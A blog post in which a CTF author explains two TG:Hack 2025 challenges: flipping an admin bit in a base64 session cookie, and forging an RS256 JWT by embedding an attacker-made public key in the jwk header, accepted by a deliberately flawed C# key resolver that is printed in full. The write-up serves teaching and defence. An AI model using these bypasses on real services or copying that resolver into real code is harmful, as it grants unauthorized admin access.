Thoughts by Luci

TG:Hack at The Gathering 2025 (Challenge writeup)

This Easter, I had the pleasure of creating two challenges for TG:Hack, the Capture The Flag (CTF) competition held at The Gathering, Norway’s largest computer festival. I’ve attended The Gathering for many years, both as a participant and a volunteer, and it holds a special place in my heart.

I already posted brief writeups on the CTF website, but in this post, I’ll go deeper into both challenges, the design process, and the real-world relevance of the vulnerabilities involved.

Overview photo from The Gathering Photo by Ole Christian Klamas available at bildebank.gathering.org under Creative Commons (BY-ND) license.

Challenge 1: cookieauth

Both challenges explore weak authentication mechanisms via cookies. The first one is relatively easy (intended as a warm-up) and most teams solved it quickly.

Upon opening the challenge, you’re greeted with a login screen:

Login screen

The site conveniently provides a demo user, and after signing in, we receive this cookie:

SigninSession:
NjI0Nzg1OWUtZmZiNS00YThlLTk4MTAtMWMxNjljYTExNDQwLjAuMTc0NzY4NDU0Njk1MQ%3D%3D

Decoding it from base64 gives us:

6247859e-ffb5-4a8e-9810-1c169ca11440.0.1747684546951

It consists of three parts:

This brilliant session ID was generated with the following code:

1private static string CreateSessionIdentifier(Guid id, bool isAdmin)
2{
3    var identifier = id.ToString() + '.';
4    identifier += isAdmin ? "1." : "0.";
5    identifier += DateTimeOffset.UtcNow.ToUnixTimeMilliseconds();
6
7    return Base64Encode(identifier);
8}

The backend simply decodes this session on each request and uses it to determine the user’s identity, role, and session freshness (session expires after 10 minutes).

Once logged in, the interface changes slightly:

User page

The user page hints that there are no flags there—just cookies. (As if the challenge name didn’t already give it away.)

If we attempt to access the admin page, we receive a 401 Unauthorized. Clearly, the flag is behind that route. By flipping the isAdmin bit from 0 to 1 in the cookie and re-encoding it, we gain access:

SigninSession:
NjI0Nzg1OWUtZmZiNS00YThlLTk4MTAtMWMxNjljYTExNDQwLjEuMTc0NzY4NDU0Njk1MQ==

Boom:

Admin flag


Outcome

By the end of the CTF, this challenge had been solved by 26 out of 56 teams (~46%). That’s right in the sweet spot for an easy, warm-up challenge designed to help newer players build confidence.

The vulnerability itself—tamperable session identifiers—is very real. It ties directly into the OWASP Top 10, which lists Broken Access Control as the number one most critical web application security risk, and Identification and Authentication Failures at number seven.

The lesson here is simple but important: never trust client-controlled session data, and never encode user roles or other sensitive logic directly into a value the user can read—or worse, change.

As the OWASP Session Management Cheat Sheet puts it:

The session ID content (or value) must be meaningless to prevent information disclosure attacks…

The meaning and business or application logic associated with the session ID must be stored on the server side…


Challenge 2: cookieauth-jwt

This challenge built directly on the first. It used the same site, Cookieland, but with updated session logic based on JSON Web Tokens (JWTs). This one turned out to be significantly harder. Only 4 teams solved it, none within the first 22 hours. I will not explain how JWTs work (read the RFC!), so let’s go straight to the solution.

Once again, we’re presented with a SigninSession cookie, but this time it’s a JWT:

 1{
 2  "alg": "RS256",
 3  "kid": "sig-1744558208",
 4  "typ": "JWT"
 5}.
 6{
 7  "sub": "6247859e-ffb5-4a8e-9810-1c169ca11440",
 8  "isAdmin": "False",
 9  "jti": "767b5423-b8fb-4536-a6be-5f0c4d854bc5",
10  "nbf": 1744716343,
11  "exp": 1744716943,
12  "iat": 1744716343,
13  "iss": "CookielandV2",
14  "aud": "CookielandV2"
15}.[signature]

We again see a UUID and a flag indicating admin status, together with standard claims like exp, iat, and sub. But now the session data is signed using RS256.

JWT Signing

The server verifies token integrity using its own public key. Any tampering would break the signature.

So how can we change the isAdmin claim? We can’t brute-force the private key, but we can trick the server into accepting a public key we control.

According to RFC 7515, JWTs can include a jwk (JSON Web Key) header. This allows the sender to specify the public key used to sign the token—exactly the attack vector we need.

In this challenge, the server’s validation logic incorrectly prioritizes a jwk header (if present) over the expected server-side key. That means we can:

  1. Generate a valid RSA key pair
  2. Sign a token ourselves (with isAdmin: True)
  3. Embed our public key as a jwk in the JWT header

You can generate a key + JWK in one go at mkjwk.org.

We just need to ensure the kid matches what the server expects:

1"kid": "sig-1744558208"

Here’s what the final header + payload looks like:

 1{
 2  "alg": "RS256",
 3  "kid": "sig-1744558208",
 4  "typ": "JWT",
 5  "jwk": {
 6    "kty": "RSA",
 7    "e": "AQAB",
 8    "use": "sig",
 9    "kid": "sig-1744558208",
10    "alg": "RS256",
11    "n": "g6zsP...truncated"
12  }
13}.
14{
15  "sub": "6247859e-ffb5-4a8e-9810-1c169ca11440",
16  "isAdmin": "True",
17  "exp": 1744799943,
18  "iat": 1744716343,
19  "iss": "CookielandV2",
20  "aud": "CookielandV2"
21}

Sign with your private key and inject the resulting token into the SigninSession cookie. Boom:

TG25{S1GN1NG_JWTs_c4n_b3_h4rD}

Server-side validation logic

The server used a custom key resolver that explicitly enabled this vulnerability:

 1validationParameters.IssuerSigningKeyResolver = (token, securityToken, keyIdentifier, tvp) =>
 2{
 3    var tokenHandler = new JwtSecurityTokenHandler();
 4    var jwt = tokenHandler.ReadJwtToken(token);
 5
 6    if (keyIdentifier != KeyId)
 7    {
 8        throw new SecurityTokenException("Invalid KeyId");
 9    }
10
11    var keys = new List<SecurityKey> { rsaSecurityKey };
12
13    var keyFromToken = jwt.Header.FirstOrDefault(c => c.Key == "jwk");
14    if (keyFromToken.Value != null)
15    {
16        var jwkJson = JsonSerializer.Serialize(keyFromToken.Value);
17        var jwk = JsonWebKey.Create(jwkJson);
18        keys.Add(jwk);
19    }
20
21    return keys;
22};

Note: This is not safe behavior. Do not validate tokens against arbitrary keys provided by clients—unless you’re explicitly confirming them via a binding mechanism like cnf.

Outcome

This second challenge was much tougher—only 4 teams solved it, and the first correct solution came 22 hours after it was released (day 2 of the CTF). Several participants told me they had spent time trying classic JWT attacks like changing the algorithm to none or switching from RS256 to HS256, but missed the vulnerability introduced via the jwk header.

From a learning perspective, I’m really happy with how this one turned out. It highlights an important and realistic class of vulnerabilities: improper handling of dynamic key material in JWT validation.

This pattern isn’t just theoretical—it has real-world relevance. DPoP (Demonstrating Proof of Possession), a relatively new OAuth extension, is gaining traction, particularly in high-value scenarios like health care. DPoP binds access tokens to a client’s public key (cnf claim). The proof, sent alongside each request, includes this key in the jwk header. If a server fails to properly verify that the key matches what the token is bound to, it opens the door to the same kind of attack used in this challenge.

By recreating this vulnerability in a controlled environment, I hoped to give participants insight into the kinds of mistakes that can creep into real-world systems, even ones built around well-established standards like JWT.


Final Thoughts

Designing these challenges, especially the JWT one, was incredibly rewarding. Even more fun was watching teams attempt to break them, learning from their approaches, and eventually getting to present the solution live on stage.

CTFs are an essential community space for people of all skill levels to explore, learn, and challenge themselves. The Gathering brings together a beautiful mix of gamers, hackers, creators, and tinkerers. It’s the perfect place to foster curiosity and security awareness.

I’ve already started planning next year’s challenges. Until then:

See you at The Gathering 2026! 🎉

#oauth #security

Reply to this post by email ↪